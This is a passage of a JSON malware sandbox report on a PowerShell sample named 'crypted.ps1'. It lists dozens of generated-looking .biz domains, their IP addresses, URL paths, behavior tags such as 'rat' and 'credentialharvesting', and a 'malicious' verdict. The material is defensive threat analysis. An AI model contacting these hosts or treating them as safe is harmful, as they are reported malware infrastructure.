main:qaynky.biz","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:qpnczch.biz"},{"edge_kind":"resolves_to","from_key":"Domain:qpnczch.biz","to_key":"Ip:34.209.195.255"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:saytjshyf.biz"},{"edge_kind":"resolves_to","from_key":"Domain:saytjshyf.biz","to_key":"Ip:3.229.117.57"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:ssbzmoy.biz"},{"edge_kind":"resolves_to","from_key":"Domain:ssbzmoy.biz","to_key":"Ip:34.41.139.193"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:sxmiywsfv.biz"},{"edge_kind":"resolves_to","from_key":"Domain:sxmiywsfv.biz","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:tbjrpv.biz"},{"edge_kind":"resolves_to","from_key":"Domain:tbjrpv.biz","to_key":"Ip:3.250.92.156"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:typgfhb.biz"},{"edge_kind":"resolves_to","from_key":"Domain:typgfhb.biz","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:uhxqin.biz"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:vcddkls.biz"},{"edge_kind":"resolves_to","from_key":"Domain:vcddkls.biz","to_key":"Ip:50.16.27.236"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:vjaxhpbji.biz"},{"edge_kind":"resolves_to","from_key":"Domain:vjaxhpbji.biz","to_key":"Ip:176.100.243.135"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:vrrazpdh.biz"},{"edge_kind":"resolves_to","from_key":"Domain:vrrazpdh.biz","to_key":"Ip:34.209.195.255"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:vyome.biz"},{"edge_kind":"resolves_to","from_key":"Domain:vyome.biz","to_key":"Ip:34.209.195.255"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:warkcdu.biz"},{"edge_kind":"resolves_to","from_key":"Domain:warkcdu.biz","to_key":"Ip:50.16.27.236"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:wllvnzb.biz"},{"edge_kind":"resolves_to","from_key":"Domain:wllvnzb.biz","to_key":"Ip:50.16.27.236"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:www.anpmnmxo.biz"},{"edge_kind":"resolves_to","from_key":"Domain:www.anpmnmxo.biz","to_key":"Ip:104.219.250.36"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:xlfhhhm.biz"},{"edge_kind":"resolves_to","from_key":"Domain:xlfhhhm.biz","to_key":"Ip:52.16.171.153"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:yauexmxk.biz"},{"edge_kind":"resolves_to","from_key":"Domain:yauexmxk.biz","to_key":"Ip:34.229.166.50"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:yhqqc.biz"},{"edge_kind":"resolves_to","from_key":"Domain:yhqqc.biz","to_key":"Ip:34.209.195.255"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:ytctnunms.biz"},{"edge_kind":"resolves_to","from_key":"Domain:ytctnunms.biz","to_key":"Ip:52.16.171.153"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:yunalwv.biz"},{"edge_kind":"resolves_to","from_key":"Domain:yunalwv.biz","to_key":"Ip:193.166.255.171"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:zjbpaao.biz"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:zlenh.biz"},{"edge_kind":"resolves_to","from_key":"Domain:zlenh.biz","to_key":"Ip:34.170.92.185"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/vvrxg"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/ltbcty"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/rsembmyjucc"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/gmoa"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/ittooiq"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wsyriayansdhkx"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/kpbendnmvboqlr"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/klmwrsqs"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/winxnjxhtmxihskw"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/tqya"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/y"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/pplvectcusjq"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/igmxsqualglndix"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/au"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/yymyxonoujelnhpb"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/ytenqmpsyaxmintj"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/iydmmkmewuttg"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/alkurfht"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/nnnbwobrm"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/gteg"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/hqfyx"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/yycrpacmy"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/qmapg"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/igsydeb"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/vxsprskwlygiksjk"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/slqkfvgeunqe"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/brlpkregxbc"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/lropdpu"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/pcrnaxebnnwn"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/edagcdxijxx"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/uptcdct"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wtbbjrfgbeajjj"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/swjm"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/klsrxno"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wlhaljw"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/da"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/k"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/dpfd"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/bojnikroad"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wsetcvegbwpetocq"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/kkwlqrube"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/mfrqir"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/ybdqpqwn"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/aawvul"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/sqqpcadnkg"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/jvltds"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/xxamf"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/mrjamadgomsxut"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/bppvxq"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/ftfowewwqcf"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/krseo"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/qsugtfbjv"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/bdjoerdfknlsim"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/cwskvwfkoexuwk"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/skmowpbxjm"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/grnfmnsp"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wugamt"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wb"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/prll"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/qaemot"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/xmsfnrjjduambr"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/g"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/i"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/sywrtauykym"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/yoopsulylglsg"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wv"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/qydpac"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/awpkai"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/nnsaanis"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/tdkxrcymqt"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/hshrpjedkwl"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/dq"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/jjyarteqwodx"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/psssnxvj"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/ytpukfv"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/ajxguktg"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/wvvb"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/vtgymxfakljhd"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/caioxutna"},{"edge_kind":"contacted_url","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Url:/f"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","edges":[{"edge_kind":"extracted","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"File:6873844a8e7a98774f42432be8c9361d5878865e47f8f05715e4af9ba43f7d95"},{"edge_kind":"extracted","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":10,"spawned_processes_count":10,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":26,"imported_dlls_count":148,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":36,"files_deleted_count":0,"registry_keys_created_count":33,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":33,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":22,"dns_resolutions_count":57,"contacted_urls_count":80,"http_requests_count":80},"behavior_tags":["commodity","modular","targetedcrimeware","rat","cobaltstrike","fileinfector","m0yv","credentialharvesting","targeted","sourcecodeleaked","criminal","warzone","sinkhole","malicious"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6abd3a5b3b3b7d4b5e0db189","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["DEU","FIN","IRL","RUS","USA"],"submit_name":"crypted.ps1","analysis_start_time":"2026-09-30T16:35:40+00:00","indicators_count":{"informative":129,"suspicious":24,"malicious":8},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"44.244.22.128","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"34.41.139.193","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"3.229.117.57","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"172.234.24.173","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"34.170.92.185","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"50.16.27.236","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"192.64.119.165","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"104.219.250.36","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"104.219.250.36","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"176.100.243.135","port":80,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"52.16.171.153","port":80,"protocol":"TCP","country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"3.238.30.69","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"172.234.24.152","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"3.250.92.156","port":80,"protocol":"TCP","country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"34.229.166.50","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"3.222.192.211","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"52.43.119.120","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"165.160.15.20","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"193.166.255.171","port":80,"protocol":"TCP","country":"Finland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"34.209.195.255","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"52.212.150.54","port":80,"protocol":"TCP","country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"address":"85.214.228.140","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}],"dns_resolutions":[{"domain":"acwjcqqv.biz","address":"50.16.27.236","ttl":120,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"anpmnmxo.biz","address":"192.64.119.165","ttl":29,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"brsua.biz","address":"52.212.150.54","ttl":211,"country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"bumxkqgxu.biz","address":"3.229.117.57","ttl":94,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"cvgrf.biz","address":"44.244.22.128","ttl":212,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"deoci.biz","address":"34.229.166.50","ttl":146,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"dlynankz.biz","address":"85.214.228.140","ttl":472,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"dwrqljrr.biz","address":"34.41.139.193","ttl":1269,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"esuzf.biz","address":"34.209.195.255","ttl":154,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"ftxlah.biz","address":"52.16.171.153","ttl":273,"country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"fwiwk.biz","address":"172.234.24.152","ttl":7435,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"gcedd.biz","address":"3.238.30.69","ttl":292,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"gnqgo.biz","address":"34.229.166.50","ttl":27,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"great417.ddns.net","ttl":1800,"country":"-","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"gvijgjwkh.biz","address":"52.16.171.153","ttl":33,"country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"gytujflc.biz","address":"3.222.192.211","ttl":163,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"ifsaia.biz","address":"3.238.30.69","ttl":157,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"iuzpxe.biz","address":"3.238.30.69","ttl":41,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"jdhhbs.biz","address":"3.238.30.69","ttl":174,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"jhvzpcfg.biz","address":"3.229.117.57","ttl":37,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"jpskm.biz","address":"34.209.195.255","ttl":57,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"knjghuig.biz","address":"50.16.27.236","ttl":145,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"lejtdj.biz","ttl":401,"country":"-","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"lpuegx.biz","address":"176.100.243.135","ttl":698,"country":"Russia","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"lrxdmhrr.biz","address":"44.244.22.128","ttl":174,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"mgmsclkyu.biz","address":"3.250.92.156","ttl":20,"country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"mnjmhp.biz","address":"52.16.171.153","ttl":104,"country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"myups.biz","address":"165.160.15.20","ttl":21196,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"npukfztj.biz","address":"3.229.117.57","ttl":257,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"nqwjmb.biz","address":"52.43.119.120","ttl":37,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"oflybfv.biz","address":"52.16.171.153","ttl":30,"country":"Ireland","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"opowhhece.biz","address":"34.41.139.193","ttl":1280,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"oshhkdluh.biz","address":"44.244.22.128","ttl":280,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"przvgke.biz","address":"172.234.24.152","ttl":325,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"pywolwnvd.biz","address":"44.244.22.128","ttl":278,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"domain":"qaynky.biz","address":"3.238.30.69","ttl":32,"country":"United 